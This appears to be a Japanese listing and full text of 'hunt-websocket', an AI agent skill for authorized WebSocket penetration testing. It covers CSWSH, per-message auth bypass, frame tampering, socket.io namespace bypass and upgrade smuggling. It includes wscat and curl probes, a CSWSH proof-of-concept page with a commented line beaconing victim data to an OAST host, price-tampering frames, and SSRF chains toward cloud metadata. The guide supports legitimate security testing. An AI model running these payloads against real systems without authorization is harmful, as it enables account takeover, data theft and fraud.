hunt-websocket について
hunt-websocketは、WebSocketアプリを対象とする許可済みのセキュリティテスト用スキルです。ハンドシェイク、メッセージ、チャネルの認可リスクを扱い、実害の検証と誤検知の回避を重視します。
主な機能
- 01WebSocketエンドポイントの検出
- 02CSWSH成立条件の確認
- 03ハンドシェイクと各メッセージの認証テスト
- 04フレーム改ざんとルーム認可の検証
- 05影響の確認と誤検知の排除
活用シーン
- 01Cookie認証ソケットのCSWSHテスト
- 02特権フレームに認可が必要かの確認
- 03決済やゲームのメッセージ改ざんリスクの評価
- 04socket.io名前空間のアクセス制御検証
MCP 対応
このスキルは、WebSocket履歴の確認やCollaboratorによる帯域外通信の検証に使うBurp MCP操作を紹介しています。
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-websocketインストール後、Claude Code で/hunt-websocketを入力して読み込まれたか確認します。
詳細
HUNT-WEBSOCKET — WebSocket セキュリティ
最重要ターゲット
Cookie 認証のハンドシェイクで CSRF 対策/接続ごとのトークンがない CSWSH(クロスサイト WebSocket ハイジャック)は、高〜致命的な深刻度です(ログイン中の被害者のあらゆるデータをリアルタイムで窃取できます)。
価値の高い攻撃チェーン:
- CSWSH → データ窃取/ATO — ハンドシェイクは自動的に送信される Cookie で認証され、CSRF トークンがなく、Origin も検証されません。攻撃者のページが被害者として WebSocket 接続を開き、メッセージ/PII/トークンをストリーミングします。ストリームにセッション/リフレッシュ/CSRF トークンが含まれている場合、ATO に発展します。
- メッセージごとの認証がない — HTTP/ハンドシェイクの認証はあるものの、個々の WS フレームでは再認証されないため、特権メッセージ(
deleteUser、getSecretConfig)が受け入れられます。 - メッセージの改ざん — トレーディング/ゲーム/チェックアウトアプリで、通信中のフレーム(price、qty、userId、amount)を変更し、金融詐欺を行います。
- socket.io の namespace/room の認可バイパス — 権限チェックなしで特権 namespace に接続したり、他のユーザーの room に参加したりすることで、テナントをまたいだリアルタイムのデータ窃取が可能になります。
- ハンドシェイク層での Upgrade スマグリング — 不正な
Upgrade/Connection/Sec-WebSocket-*ハンドシェイクにより、フロントのプロキシとオリジンでアップグレードが発生したかどうかの認識が食い違い、リクエストスマグリングのトンネルが生じます。
根拠 — 参考事例(調査前に読むこと)
以下は、公開され、検証可能な参考資料です。実際の WS 脆弱性がどのようなものか、またそれがどのように証明されたかを把握するために使用してください。報告 ID や報奨金を新たに捏造しないでください。
| # | 出典/ID | 分類 | 教訓 |
|---|---|---|---|
| 1 | PortSwigger Web Security Academy —「Cross-site WebSocket hijacking」(調査+ラボ) | CSWSH | CSWSH の標準モデル:Cookie 認証のハンドシェイク+CSRF トークンなし+Origin チェックの欠如 → 攻撃者が被害者として読み取り/送信できます。信頼できる方法論です。 |
| 2 | Christian Schneider —「Cross-Site WebSocket Hijacking (CSWSH)」(2013 年の最初の開示/解説) | CSWSH | 最初に公開された CSWSH の手法:Cookie 認証のハンドシェイク+Origin の検証なし。PoC では 101 を確認するだけでなく、攻撃者のブラウザーで被害者のデータを受信できることを証明する必要があります。 |
| 3 | Coda CSWSH(このリポジトリの hunt-csrf セットで参照) | CSWSH | リアルタイムコラボレーションアプリでは、ソケット認証に Cookie のみを使用することがよくあります。欠けていた制御は Origin の許可リストでした。 |
| 4 | CVE-2020-7662 — websocket-extensions(Node)の ReDoS | DoS | 細工した Sec-WebSocket-Extensions ヘッダーによって壊滅的なバックトラッキングが発生します。ハンドシェイクヘッダーも攻撃対象であり、フレームだけが対象ではありません。 |
| 5 | CVE-2024-37890 — ws(Node)の DoS | DoS | 大量のハンドシェイクリクエストヘッダーによってサーバーのリソースが枯渇します。フレーム受信前のハンドシェイク自体も、パーサー攻撃の対象となることが確認されています。 |
| 6 | 古い socket.io/Engine.IO スタック | socket.io | Phase 7 のバージョンフィンガープリント手順の根拠となります。バージョンを特定し、そのリリースに既知の勧告があるか確認してください。 |
正確な ID が検証可能であるため、上記の CVE は 4 件のみ、正確な ID とともに記載しています。正確な識別子に確信が持てない事例については、引用を一切付けずに手法を説明してください。誤った CVE は、何も記載しないより悪影響があります。
Phase 1 — WebSocket エンドポイントの検出
# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
recon/$TARGET/ --include="*.js" 2>/dev/null | \
grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
recon/$TARGET/urls.txt | sort -u
# Probe handshake (101 = upgrade supported)
curl --max-time 30 --connect-timeout 10 -sI -o /dev/null -w "%{http_code}\n" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
"https://$TARGET/ws"
# socket.io polling handshake leaks version + sid
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open
Burp Pro で、アプリを閲覧した後に get_proxy_websocket_history(および WebSockets タブ)を使用して、稼働中のソケット、メッセージスキーマ、認証に関わるデータを含むフレームを列挙してください。
フェーズ 2 — CSWSH(クロスサイト WebSocket ハイジャック)
CSWSH の成立には、次の 3 つの条件がすべて必要です。(a)ハンドシェイクがアンビエント認証情報(自動的に送信される Cookie)で認証されること、(b)ハンドシェイクに予測不可能な接続ごとのトークンがないこと(CSRF トークンや URL/本文内のトークンがないこと)、(c)サーバーがOrigin を検証しないことです。いずれか 1 つでも欠けていれば、攻撃は成立しません。
# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
# Look for: Cookie: session=... AND the ABSENCE of any per-request token
# (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
# If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
--header "Origin: https://evil.com" \
--header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
ws.onopen = () => {
log("[+] 101 opened from attacker origin");
ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
log("VICTIM-DATA: " + e.data);
// Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
// navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>
誤検知を防ぐポイント:
Origin: evil.comからの101応答が完了しても、発見事項にはなりません。多くのサーバーはアップグレードを受け入れた後、何も送信しなかったり、最初の認証済みフレームを受信した時点で接続を閉じたりします。- 受信したデータが攻撃者ではなく別のアカウントに属することを、アカウント B に仕込んだ一意のマーカーや、被害者固有の PII を使って確認してください。
- 受信したペイロードを Burp Collaborator/OAST リスナーに送信し、帯域外で受信が記録されるようにしてください。これがレポートにおける影響の証明になります。
- 接続ごとのトークンがハンドシェイク(URL、サブプロトコル、または最初のフレーム)に含まれる場合、CSWSH はクロスサイトから悪用できません。深刻度を下げるか、報告対象から除外してください。
フェーズ 3 — WS メッセージの認証不備/脆弱な認証
ハンドシェイクの認証は、メッセージごとの認証とは異なります。アプリはソケットを一度認証した後、後続のすべてのフレームを信頼してしまうことがよくあります。
# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}
# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}
**検証:**特権操作によって実際の効果が生じる必要があります(テストユーザーが削除される、シークレット設定が返される、別のチャネルから確認できる状態変更が起きるなど)。受け付けられたものの何も起こらず、無視されたフレームは発見事項ではありません。未認証クライアントとして再実行し、その操作が単に全員に無害な形でブロードキャストされているわけではないことを確認してください。
フェーズ 4 — メッセージの改ざん(金融/ゲーム/チェックアウト)
# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
# {"price":100} -> {"price":0.01}
# {"amount":1} -> {"amount":9999}
# {"userId":123} -> {"userId":1} # impersonate admin
# {"orderTotal":...} -> recompute downstream?
# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}
**検証:**改ざんした値がサーバー側に保存される必要があります。REST/注文 API、または新しいソケットから確認し、注文/残高/価格に実際に操作が反映されていることを確かめてください。多くの UI は自分が送信したフレームを楽観的にエコーしますが、そのエコーは証拠にはなりません。できればサンドボックス/テスト用の仕組みで、金銭的影響または状態への影響を実証してください。
フェーズ 5 — socket.io/SignalR/Phoenix の名前空間とルームの認可バイパス
Engine.IO/socket.io は、生の WebSocket 上に構築されたプロトコルです。パケットのプレフィックス(Engine.IO の 4=MESSAGE が、socket.io の 0=CONNECT、1=DISCONNECT、2=EVENT をラップします)は、名前空間/ルームへの参加意図を示します。参加時に認可を確認する必要がありますが、確認されないことがよくあります。
# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
--header "Cookie: session=YOUR_SESSION"
# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
# then CONNECT to a namespace with a socket.io CONNECT packet.
# CORRECT packet to join the /admin namespace: 40/admin,
# 4 = Engine.IO MESSAGE, 0 = socket.io CONNECT, /admin, = namespace
# (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
# Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
# on rejection. A 40 success to a privileged namespace as a low/no-priv
# user is the bug.
# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}] # root namespace
# Watch for 42 EVENT frames carrying ANOTHER user's data.
**検証:**名前空間に接続したことと、特権データを受信したことを区別してください。別のテナント/ユーザーに属するデータを含む 42 イベントフレームを受信するか、特権 emit によってサーバー側で検証可能な効果が生じた場合にのみ、発見事項が確認されたことになります。後続データを伴わない 40/admin の ACK は、単に空の名前空間への接続が許可されているだけかもしれません。
SignalR の場合:
/<hub>/negotiateでネゴシエーションした後、接続してハブメソッドをInvoke/Sendし、メソッド単位の認可をテストしてください。Phoenix Channels の場合:topic:subtopicに対してphx_joinを実行し、サーバーのjoin/3がトピックを認可するか確認してください。
フェーズ 6 — ハンドシェイク層のアップグレード・スマグリング(フレーム・スマグリングではありません)
重要:WebSocket の接続が確立されると、ペイロードは WS フレームにラップされ、プロキシによって HTTP として再解析されることはありません。開いた wscat セッションに GET /admin HTTP/1.1 と入力しても何も起こりません。WebSocket 関連のスマグリングが行われるのは、フレームがまだ存在しないハンドシェイク時です。
実際の手法:フロントプロキシとオリジンで解釈が異なる WebSocket Upgrade リクエストを送信します。たとえば、不正な Sec-WebSocket-Version によってオリジンに 426 Upgrade Required(または 400)を返させる一方、プロキシは接続をすでに「アップグレード済み」と判断して HTTP の解析を停止している、といったケースです。その後、プロキシは後続のバイト列を不透明なストリームとしてオリジンに直接トンネルするため、フロントエンドの制御(WAF/認可)をすり抜けて任意の HTTP リクエストをスマグリングできます。
# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:
# A) Valid-looking upgrade but unsupported version:
# Upgrade: websocket
# Connection: Upgrade
# Sec-WebSocket-Version: 777 <- origin should 426; does the proxy still tunnel?
# Sec-WebSocket-Key: <16-byte base64>
# B) Upgrade header present but Connection: keep-alive (mismatch)
# C) Smuggled second request body after a "successful" 101, then send a normal
# follow-up request on the same connection and watch for a desynced response.
手動ではなく、Burp Pro の HTTP Request Smuggler 拡張機能(WebSocket アップグレードのテストケースがあります)を使って実行してください。検証は従来のスマグリングと同様に行います。タイミング/差分プローブでデシンクを証明し、実際の影響(内部/禁止パスへの到達、キャッシュされたレスポンスの汚染、または他のユーザーのリクエストの取得)を示してください。曖昧な単一のレスポンスではなく、Burp Collaborator/OAST で確認してください。
フェーズ 7 — socket.io/Engine.IO 固有の事項
# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.
# Namespace selection is a PROTOCOL message, not a URL param.
# WRONG: wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
# ^ `nsp` is NOT a recognized socket.io query param. It is silently
# ignored and you connect to the ROOT namespace "/". You will believe
# you tested /admin when you did not.
# RIGHT: open the socket, then send the CONNECT packet 40/admin, (Phase 5).
# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
# 400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.
ツール
npm install -g wscat # CLI WS client (raw + socket.io)
brew install websocat # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
# Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
# enumerate frames; generate_collaborator_payload + get_collaborator_interactions
# to prove out-of-band receipt from a CSWSH/smuggling PoC.
チェーン表
| WS の発見事項 | チェーン先 | 影響 |
|---|---|---|
| CSWSH + ストリーム内のトークン | 被害者のフレームからセッション/更新/CSRF トークンを盗む | ATO(クリティカル) |
| CSWSH を確認 | 被害者のチャンネルを購読し、OAST に流出させる | リアルタイムのデータ窃取(高) |
| メッセージごとの認証なし | 管理者/特権フレームを送信する | 権限昇格(クリティカル) |
| メッセージの改ざん | 価格/金額/userId を変更し、サーバー側で確認する | 金融詐欺(クリティカル) |
| Namespace/room の認可バイパス | 他のテナントのルームに参加し、42 イベントを読み取る | テナント間のデータ流出(高) |
| ハンドシェイクの Upgrade スマグリング | HTTP を WAF/認可の先にトンネルし、OAST で確認する | スマグリング → SSRF/キャッシュ汚染(高〜クリティカル) |
検証(報告前に必須)
- ✅ CSWSH: 攻撃者オリジンの PoC HTML を、別の被害者アカウントでログインした状態で開き、その被害者のデータを受信すること(一意に仕込んだマーカー/個別の PII で確認)と、そのデータを Collaborator/OAST に流出させることが必要です。外部 Origin からの
101だけでは発見事項になりません。 - ✅ メッセージごとの認証なし: 特権フレームによって、単に「受け入れられた」だけでなく、検証可能なサーバー側の影響(別のチャネル/REST API で確認できる状態変更)が発生すること。
- ✅ メッセージの改ざん: 改ざんした値がサーバー側に保持されること(注文/残高 API で確認)。UI にエコーされるだけでは不十分です。
- ✅ Namespace/room のバイパス:
40の namespace ACK だけでなく、別のユーザーのデータを含む42イベントフレームを受信すること。 - ✅ Upgrade スマグリング: タイミング/差分プローブでデシンクを証明し、さらに実際の影響を OAST で確認すること。単一のレスポンスに基づく推測は認められません。
- ❌ 却下するもの:
101だけ、受け入れられたが無視されるフレーム、自分自身にエコーされたメッセージ、接続済みだが空の namespace、または帯域外/アカウント横断の証拠がない「確認済み」の主張。
重大度:
- セッション/更新トークンを漏えいさせる CSWSH → ATO:クリティカル
- CSWSH → リアルタイムのセッションデータ窃取:高
- 管理者/特権 WS アクションの認証なし:クリティカル
- 金融メッセージの改ざん(サーバー側で確認済み):クリティカル
- Namespace/room の購読バイパス(テナント間):高
検証
WebSocket の調査準備ができていることを確認するには、次のセルフテストを実行してください。
-
スキルの整合性 — スキルファイルを読み取れて、形式に問題がないことを確認します。
grep -q "name: hunt-websocket" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認します。
落とし穴
- 認証なしのWebSocket — WebSocketエンドポイントで認証トークンが要求されない場合、誰でも接続できます。接続後に認証が要求されるかテストしてください。
- wss://ではなくws:// — 公開サービスで平文のWebSocketを使用すると、中間者攻撃が可能になります。WebSocketで機密データを送信する場合は、中程度の深刻度です。
- WebSocket CSWSH — クロスサイトWebSocketハイジャックです。WebSocketハンドシェイクでOriginが検証されない場合、攻撃者のページからWebSocketを開けます。
Origin: evil.comでテストしてください。 - WebSocketメッセージのインジェクション — 他のユーザーに反映されるWebSocketメッセージにインジェクションすると、WebSocket経由の格納型XSSになります。
関連スキル
hunt-csrf— CSWSHは、構造上CSRFとWebSocketアップグレードを組み合わせたものです。攻撃の連鎖:ハンドシェイクが環境依存のCookieで認証される+CSRFトークンがない+Originチェックがない → 攻撃者のページが被害者としてWSを開き、メッセージをストリーミングする → 同意のない状態変更というCSRFと同じ影響モデルですが、双方向です。hunt-http-smuggling— ハンドシェイク層でのUpgradeスマグリング(不正なUpgrade/Connectionヘッダー)により、フロントプロキシとオリジンの間でアップグレードが発生したかどうかの認識が食い違います。攻撃の連鎖:WAF経由のスマグリングトンネル → 内部エンドポイントへのアクセス、またはキャッシュポイズニング。hunt-ssrf— URLパラメーターや接続先の上書きを受け付けるWebSocketエンドポイントは、SSRFの攻撃対象になります。攻撃の連鎖:WSクライアントがwss://target/ws?proxy=attacker-hostに接続 → サーバー側プロキシがリクエストを転送 → [REDACTED_IP]上のクラウドメタデータにアクセス。hunt-session— 再接続時にセッションを再検証しないWebSocket接続は、永続化の不具合を引き起こします。攻撃の連鎖:盗まれたセッションCookieを新しいWS接続でリプレイ → 再認証なしで、再接続時にすべての購読済みチャネルが引き継がれる。hunt-tls-network— wss://とws://(平文)のどちらでWebSocket接続するかによって、フレーム内のPIIが通信経路上で読み取れるかどうかが決まります。攻撃の連鎖:標準以外のポートでws://を使用 → TLSダウングレード → 認証情報の傍受。security-arsenal— WebSocket CSWSHのPoCテンプレート、socket.io/signalrの名前空間検出ペイロード、WSメッセージ改ざん用フレームの構築ガイドを活用してください。triage-validation— OOB-Or-It-Didn't-Happen Gateを適用してください。CSWSHが確認されたと言えるのは、攻撃者のOrigin上のJSが実際に被害者のデータ(固有のマーカー/区別可能なPIIで検証)を受け取り、それをCollaboratorリスナーに外部送信した場合に限られます。外部Originからの101応答だけでは、発見事項にはなりません。